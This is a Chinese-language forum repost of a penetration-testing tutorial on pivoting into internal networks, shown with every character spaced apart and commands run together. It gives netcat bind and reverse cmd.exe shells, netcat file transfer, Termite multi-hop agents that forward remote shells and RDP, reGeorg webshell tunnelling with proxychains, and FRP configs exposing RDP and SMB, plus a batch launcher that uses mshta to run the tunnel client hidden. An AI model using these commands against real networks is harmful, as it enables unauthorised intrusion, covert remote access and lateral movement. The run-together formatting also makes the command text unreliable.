搜索

[21705] 2021-02-24_内网渗透-代理篇

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-02-24_内网渗透-代理篇 内 网 渗 透 - 代 理 篇 转 自 安 全 鸭   L e m o n S e c   2 0 2 1 - 0 2 - 2 4 利 用 代 理 工 具 将 内 网 的 流 量 代 理 到 本 地 进 行 访 问 ， 这 样 就 可 以 对 内 网 进 行 下 一 步 渗 透 ， 同 时 也 可 以 利 用 代 理 工 具 将 其 他 网 段 的 流 量 转 发 到 本 地 进 行 纵 向 渗 透 。 代 理 的 本 质 是 S o c k s 协 议 ( 防 火 墙 安 全 会 话 转 换 协 议 ) ， 工 作 在 O S I 参 考 模 型 的 第 5 层 （ 会 话 层 ） 。 使 用 T C P 协 议 传 输 数 据 ， 因 而 不 提 供 如 传 递 I C M P 信 息 之 类 的 网 络 层 相 关 服 务 。 目 前 支 持 S O C K S 4 和 S O C K S 5 两 个 版 本 ： S O C K S 4 支 持 T E L N E T 、 F T P 、 H T T P 等 T C P 协 议 ； S O C K S 5 支 持 T C P 与 U D P ， 并 支 持 安 全 认 证 方 案 代 理 一 般 分 为 正 向 代 理 和 反 向 代 理 两 类 ： 正 向 代 理 ： 正 向 代 理 ： 已 控 服 务 器 监 听 端 口 ， 通 过 这 个 端 口 形 成 一 个 正 向 的 隧 道 ， 由 代 理 机 器 代 替 主 机 去 访 问 内 网 目 标 。 但 是 内 网 入 口 一 般 处 于 D M Z 区 域 有 防 火 墙 拦 截 ， 无 法 直 接 进 入 内 网 环 境 。 反 向 代 理 ： 反 向 代 理 ： 由 内 网 主 机 主 动 交 出 权 限 到 代 理 机 器 ， 然 后 本 地 去 连 接 形 成 反 向 代 理 。 例 如 ： V P S 监 听 本 地 端 口 ， 已 控 内 网 服 务 器 来 连 接 此 端 口 ， 形 成 一 个 隧 道 。 如 果 内 网 设 备 连 接 外 网 ， 就 无 法 回 弹 只 能 再 想 其 他 办 法 。 端 口 转 发 工 具 ： N C 、 L C X 、 r e g G o r g 、 v e n o m 、 n g r o c k … 代 理 链 工 具 ： p r o x y c h a i n s （ L i n u x ） 、 p r o x i f i e r ( w i n d o w s ) . . . 一 、 端 口 代 理 工 具 一 、 端 口 代 理 工 具 1 . L C X L C X 的 使 用 方 法 传 送 门 ： H a s h 读 取 与 端 口 转 发 读 取 与 端 口 转 发 2 . N e t C a t N e t C a t ， 简 称 N C 。 除 开 端 口 转 发 以 下 还 对 N C 的 端 口 探 测 、 文 件 传 输 、 通 信 功 能 做 了 简 单 的 演 示 。 N e t C a t   官 方 地 址 ： 2 . 1   端 口 转 发 端 口 转 发 正 向 连 接 场 景 ： 目 标 防 火 墙 不 阻 止 外 来 流 量 。 绑 定 本 地 的 c m d s h e l l 在 服 务 器 的 端 口 上 然 后 本 地 去 连 接 ： ① 服 务 器 ( 1 9 2 . 1 6 8 . 1 . 9 8 ) 执 行 命 令 将 c m d s h e l l 绑 定 在 本 地 5 5 5 5 端 口 上 ② 在 内 网 主 动 连 接 服 务 器 的 5 5 5 5 端 口 ， 可 直 接 获 取 目 标 的 c m d s h e l l h t t p : / / n e t c a t . s o u r c e f o r g e . n e t / n c   - l   - p   5 5 5 5   - t   - e   c m d . e x e #   - t 是 通 过 t e l n e t 模 式 执 行   c m d . e x e   程 序 ， 可 省 略 n c   - n v v   1 9 2 . 1 6 8 . 1 . 9 8   5 5 5 5
反 向 连 接 场 景 ： 目 标 设 备 在 内 网 ， 防 火 墙 阻 止 外 来 流 量 。 绑 定 服 务 器 的 c m d s h e l l 并 反 向 连 接 到 v p s ( 1 9 2 . 1 6 8 . 1 . 4 ) 的 T C P 端 口 ① v p s 开 启 监 听 ② 服 务 器 内 网 链 接 v p s   5 5 5 5 端 口 ， 主 动 交 出 自 己 的 c m d s h e l l 2 . 2   端 口 探 测 端 口 探 测 N C 可 以 作 为 客 户 端 工 具 对 目 标 进 行 端 口 探 测 ： 使 用 N C 工 具 批 量 探 测 服 务 器 连 续 端 口 ： n c   - l p   5 5 5 5 n c   - t   - e   c m d . e x e   1 9 2 . 1 6 8 . 1 . 4   5 5 5 5 n c   - v z   - w   2   1 9 2 . 1 6 8 . 1 . 1 0   9 9 9 9 #   - v 可 视 化 ， - z 扫 描 时 不 发 送 数 据 ， - w 超 时 几 秒 ， 后 面 跟 数 字
2 . 3   文 件 传 输 文 件 传 输 ① ① 正 向 传 输 ： 服 务 器 先 侦 听 端 口 ， 本 地 向 服 务 器 所 在 机 器 的 该 端 口 发 送 数 据 ② ②   反 向 传 输 ： 本 地 启 动 文 件 发 送 命 令 ， 服 务 器 主 动 连 接 下 载 文 件 v p s 本 地 监 听 ， 服 务 器 连 接 v p s 可 以 将 文 件 下 载 到 本 地 。 可 利 用 此 特 性 躲 避 防 火 墙 。 # 服 务 器 启 动 监 听 ， 将 9 9 9 5 端 口 接 收 到 的 数 据 都 写 到 t e s t 文 件 里 n c   - l   - p   9 9 9 5   >   t e s t # 本 地 往 服 务 器 的 9 9 9 5 端 口 发 送 数 据 n c   1 9 2 . 1 6 8 . 1 . 4   9 9 9 5   <   1 . t x t # 本 地 启 动 文 件 发 送 命 令 ， 通 过 9 9 9 2 端 口 发 送 文 件 n c   - l   - p   9 9 9 2   <   1 . p h p # 服 务 器 执 行 命 令 下 载 1 9 2 . 1 6 8 . 1 . 1 0 : 9 9 9 2 端 口 文 件 ， 并 把 文 件 存 到 当 前 目 录 文 件 夹 2 . p h p n c   1 9 2 . 1 6 8 . 1 . 1 0   9 9 9 2   > 2 . p h p
2 . 4   N C 通 信 通 信 3 . T e r m i t e 工 具 工 具 T e r m i t e 是 一 款 极 度 小 巧 灵 活 的 跳 板 机 。 程 序 分 为 两 部 分 , a d m i n ( 控 制 端 ) 和 a g e n t ( 代 理 端 节 点 ) , a d m i n 和 a g e n t 所 有 选 项 用 途 均 一 致 ： 3 . 1   本 地 模 拟 环 境 本 地 模 拟 环 境 最 终 目 的 ： 通 过 T e r m i t e 工 具 代 理 使 物 理 机 灵 活 穿 梭 于 目 标 内 网 ( 目 前 物 理 机 只 能 和 w i n 0 8 桥 接 网 卡 通 信 ) 3 . 2   正 向 连 接 正 向 连 接 ① w i n 0 8 本 地 监 听 # 开 启 监 听 n c   - l   - p   1 2 3 4 5 # 连 接 。 形 成 不 加 密 聊 天 室 n c   1 9 2 . 1 6 8 . 1 . 1 0   1 2 3 4 5 # 软 件 作 者 教 学 视 频 ： h t t p : / / r o o t k i t e r . c o m / t o o l v i d e o / t o o l m p 4 / 1 m a i n t a l k . m p 4 h t t p : / / r o o t k i t e r . c o m / t o o l v i d e o / t o o l m p 4 / 2 s o c k s . m p 4 h t t p : / / r o o t k i t e r . c o m / t o o l v i d e o / t o o l m p 4 / 3 l c x t r a n . m p 4 h t t p : / / r o o t k i t e r . c o m / t o o l v i d e o / t o o l m p 4 / 4 s h e l l . m p 4 h t t p : / / r o o t k i t e r . c o m / t o o l v i d e o / t o o l m p 4 / 5 f i l e . m p 4 # 项 目 地 址 :   h t t p : / / r o o t k i t e r . c o m / T e r m i t e   - l   指 定 本 地 s o c k s 端 口 , 等 待 远 程 连 接   - c   指 定 远 程 s o c k s 机 器 i p   - p   指 定 远 程 s o c k s 机 器 端 口
② w i n   7   本 地 监 听 ③ x p   本 地 监 听 ④ 物 理 机 连 接 w i n 0 8 ⑤ 通 过 域 w i n 0 8 建 立 的 隧 道 连 接 w i n   7 a g e n t _ w i n 3 2 . e x e   - l   6 6 6 6 a g e n t _ w i n 3 2 . e x e   - l   7 7 7 7 a g e n t _ w i n 3 2 . e x e   - l   8 8 8 8 a d m i n _ W i n 3 2 . e x e   - c   1 9 2 . 1 6 8 . 1 . 1 0   - p   6 6 6 6 # 连 接 w i n 0 8 成 功 后 查 看 连 接 的 隧 道 会 话 s h o w # 进 入 0 8 的 会 话 g o t o   1 # 连 接 w i n   7 c o n n e c t   1 9 2 . 1 6 8 . 1 0 6 . 1 2 9   7 7 7 7
⑥ 连 接 X P ⑦ 成 功 建 立 隧 道 。 开 始 执 行 命 令 : 命 令 一 ： 文 件 上 传 命 令 二 ： 调 用 s h e l l # 进 去 w i n 7 的 会 话 g o t o   2 # 连 接 x p c o n n e c t   1 6 9 . 2 5 4 . 2 2 8 . 2 0 4   8 8 8 8 #   传 送 文 件 。 将 本 地 c : u n i n t a l l . l o g 文 件 传 送 到 目 标 服 务 器 命 名 为 1 . t x t g o t o   5 u p f i l e   c : u n i n t a l l . l o g   1 . t x t # 调 用 s h e l l ， 将 目 标 机 器 c m d   s h e l l 转 发 到 本 地 1 2 3 4 5 端 口 s h e l l   1 2 3 4 5   # n c 连 接 , 得 到 c m d s h e l l n c   1 2 7 . 0 . 0 . 1   1 2 3 4 5
命 令 三 ： 端 口 转 发 3 . 3   反 向 连 接 反 向 连 接 # 端 口 转 发 。 将 目 标 3 3 8 9 转 发 到 本 地 1 1 8 9 ， 然 后 m s t s c 连 接 1 2 7 . 0 . 0 . 1 : 1 1 8 9 。 注 意 多 级 转 发 会 造 成 流 量 拥 堵 ， 流 量 可 能 出 不 来 l c x t r a n   1 1 8 9   1 9 2 . 1 6 8 . 1 . 1 0   3 3 8 9 # s o c k e t 代 理 # 配 合 p r o x y c h a i n s 驱 动 本 地 软 件 对 内 网 进 行 扫 描 ， 由 本 地 1 0 8 0 将 流 量 转 发 到 内 网 s o c k s   1 0 8 0 # w i n 7 保 持 监 听 a g e n t _ W i n 3 2 . e x e   - l   7 7 7 7 # x p 反 向 连 接 到 w i n 7 a g e n t _ W i n 3 2 . e x e   - c   1 6 9 . 2 5 4 . 7 5 . 2 3 3   - p   7 7 7 7 # w i n 8 保 持 监 听 a g e n t _ W i n 3 2 . e x e   - l   6 6 6 6 # w i n 7 反 向 连 接 0 8 a g e n t _ W i n 3 2 . e x e   - c   1 9 2 . 1 6 8 . 1 0 6 . 1 2 8   - p   6 6 6 6 # 此 时 x p 、 w i n 7 都 已 经 主 动 上 交 了 权 限 ， 物 理 机 控 制 0 8 就 可 以 直 接 建 立 隧 道 a d m i n _ W i n 3 2 . e x e   - c   1 9 2 . 1 6 8 . 1 . 1 0   - p   6 6 6 6 # 反 向 连 接 用 户 穿 透 防 火 墙
4 . v e n o m 工 具 工 具 使 用 G o 开 发 的 多 级 代 理 工 具 。 V e n o m 可 将 多 个 节 点 进 行 连 接 ， 然 后 以 节 点 为 跳 板 ， 构 建 多 级 代 理 。 可 以 使 用 V e n o m 轻 松 地 将 网 络 流 量 代 理 到 多 层 内 网 ， 并 轻 松 地 管 理 代 理 节 点 。 v e n o m 工 具 使 用 方 法 传 送 门 ： 使 用 V e n o m 多 级 代 理 工 具 穿 透 内 网 5 . r e G e o r g + P r o x y c h a i n s 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / s e n s e p o s t / r e G e o r g 5 . 1   上 传 脚 本 上 传 脚 本 上 传 脚 本 文 件 到 服 务 器 ， 访 问 地 址 出 现 “ G e o r g   s a y s ,   ‘ A l l   s e e m s   f i n e ’ ” 表 示 脚 本 正 常 运 行 。 本 地 测 试 p h p 脚 本 不 能 正 常 运 行 5 . 2   进 行 转 发 进 行 转 发 确 认 端 口 开 启 ： 5 . 3   修 改 修 改 s o c k e t 代 理 端 口 代 理 端 口 5 . 4   远 程 连 接 远 程 连 接 使 用 设 置 p r o x y c h a i n s 的 代 理 端 口 ， 进 行 访 问 ， 一 般 配 合 n m a p 和 m e t a s p l o i t 进 行 后 续 内 网 渗 透 。 这 里 是 直 接 3 3 8 9 上 去 的 p y t h o n 2   r e G e o r g S o c k s P r o x y . p y   - p   1 2 3 4 5   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 : 8 0 0 1 / t u n n e l . a s p x v i   / e t c / p r o x y c h a i n s . c o n f # 修 改 代 理 端 口 为 1 2 3 4 5 p r o x y c h a i n s   r d e s k t o p   1 9 2 . 1 6 8 . 1 . 1 0
6 . n g r o c k M S F 配 合 N g r o c k 穿 透 内 网 7 . F R P 7 . 1   正 向 代 理 正 向 代 理 7 . 1 . 1   服 务 端 设 置 ① 下 载 安 装 ② 配 置 f r p s . i n i 文 件 b i n d _ p o r t 表 示 用 于 客 户 端 和 服 务 端 连 接 的 端 口 d a s h b o a r d _ p o r t 是 服 务 端 仪 表 板 的 端 口 t o k e n 是 用 于 客 户 端 和 服 务 端 连 接 的 口 令 d a s h b o a r d _ u s e r 、 d a s h b o a r d _ p w d 分 别 表 示 打 开 仪 表 板 页 面 登 录 的 用 户 名 和 密 码 ③ 运 行 开 启 监 听 # 项 目 地 址 ： ： h t t p s : / / g i t h u b . c o m / f a t e d i e r / f r p / r e l e a s e s # f r p c 客 户 端 ， f r p s 服 务 端 # 实 验 环 境 k a l i ： 1 9 2 . 1 6 8 . 1 . 3 w i n 0 8 ： 1 9 2 . 1 6 8 . 1 . 1 0 w g e t   h t t p s : / / g i t h u b . c o m / f a t e d i e r / f r p / r e l e a s e s / d o w n l o a d / v 0 . 3 3 . 0 / f r p _ 0 . 3 3 . 0 _ l i n u x _ 3 8 6 . t a r . g z t a r   - z x v f   f r p _ 0 . 3 3 . 0 _ d a r w i n _ a m d 6 4 . t a r . g z [ c o m m o n ] b i n d _ p o r t   =   7 0 0 0 d a s h b o a r d _ p o r t   =   7 5 0 0 t o k e n   =   1 2 3 . c o m d a s h b o a r d _ u s e r   =   a d m i n d a s h b o a r d _ p w d   =   a d m i n . / f r p s   - c   . / f r p s . i n i
              7 . 1 . 2   客 户 端 设 置 ① 服 务 端 监 听 成 功 之 后 ， 目 标 内 网 设 备 执 行 f r p 进 行 主 动 连 接 ： 编 辑 f r p c . i n i ， 修 改 配 置 ② 运 行 连 接 也 可 以 直 接 使 用 批 处 理 文 件 运 行 ： # 也 可 以 使 用 n o h u p 命 令 将 其 运 行 在 后 台 n o h u p   . / f r p s   - c   f r p s . i n i   & [ c o m m o n ] # 服 务 端 I P s e r v e r _ a d d r   =   1 9 2 . 1 6 8 . 1 . 3     # 服 务 端 端 口 s e r v e r _ p o r t   =   7 0 0 0                     # t o k e n 值 t o k e n   =   1 2 3 . c o m [ r d p ] t y p e   =   t c p l o c a l _ i p   =   1 2 7 . 0 . 0 . 1                       l o c a l _ p o r t   =   3 3 8 9 r e m o t e _ p o r t   =   7 0 0 1 [ s m b ] t y p e   =   t c p l o c a l _ i p   =   1 2 7 . 0 . 0 . 1 l o c a l _ p o r t   =   4 4 5 r e m o t e _ p o r t   =   7 0 0 2 c d   C : f r p f r p c . e x e   - c   f r p c . i n i @ e c h o   o f f i f   " % 1 "   = =   " h "   g o t o   b e g i n m s h t a   v b s c r i p t : c r e a t e o b j e c t ( " w s c r i p t . s h e l l " ) . r u n ( " " " % ~ n x 0 " "   h " , 0 ) ( w i n d o w . c l o s e ) & & e x i t : b e g i n R E M c d   C : f r p f r p c . e x e   - c   f r p c . i n i
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理